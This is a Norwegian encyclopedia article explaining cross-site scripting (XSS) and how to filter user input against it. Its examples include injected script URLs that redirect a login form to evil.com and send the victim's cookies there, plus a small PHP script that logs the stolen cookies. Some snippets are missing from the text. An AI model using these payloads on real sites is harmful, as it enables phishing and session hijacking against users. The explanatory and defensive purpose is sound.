Cross-site scriptingCross-site scripting, ofte forkortet til XSS, er en teknikk som kan benyttes for å manipulere websider. XSS-hull finnes i dynamiske webapplikasjoner der brukerdata uforsiktig printes tilbake til nettleseren. Årsaken til problemet er at programvareutvikleren ikke prosesserer brukerdata riktig. Skal brukerdata printes tilbake til nettleseren bør for eksempel html tagger fjernes. Det kan gjøres ved å konvertere krokodilletegnene < og > til < og > respektivt slik at nettleseren ikke lenger tolker de som html-tagger men rendrer tegnet visuelt isteden. I PHP kan det gjøres slik: Hackere kan utnytte XSS-hull og:
Sjekkliste for å beskytte seg mot XSS er å filtrere all input fra brukeren, det vil si HTTP POST, HTTP GET og HTTP COOKIES. Eksemplene som er vist i denne artikkelen er forsøkt forenklet slik at også ikke-tekniske lesere kan sjekke om et nettsted har XSS-hull. Eksempel (ikke-teknisk)Du har en gjestebok, og noen skriver inn følgende melding til deg: Hei du! God jul <script>alert("XSS hull!")</script>
Eksempel på phishing-angrep (litt teknisk)Ta følgende form som et eksempel. <form action="login.php" method="post"> <input type="text" name="user><br /> <input type="password" name="pass"><br /><br /> <input type="submit" value="Logg inn"> </form> Ved å forandre « Eksempel på phishing-angrep i URL (litt teknisk)De fleste XSS-hull finner man når man endre på URL-er. Ta denne URL-en: http://good.com/index.php?msg=Hei du". For å bruke eksempelet overfor til å utføre et phishing-angrep kunne man ha oppgitt følgende URL til offeret: http://good.com/index.php?msg=Hei du<script>document.forms[0].action.value='http://evil.com/stjel.php'</script> Eksempel på stjeling av cookies (litt teknisk)Hvis en hacker vil stjele en annens cookies så kan han sende følgende URL til offeret: http://good.com/index.php?msg=Hei du<script>document.location.href="http://evil.com/stjel.php?id="+document.cookie</script> Idet offeret intetanende klikker på linken vil «stjel.php» kalles. Denne kan for eksempel se slik ut: <?php $cookies=$_GET['id']; $fp=fopen("cookies.txt", "a"); fwrite($fp, "Nye cookies: $cookies \n"); ?> Hackeren kan så installere denne cookie-en i egen browser og vil da bli logget inn som offeret. Eksterne lenker
Autoritetsdata
|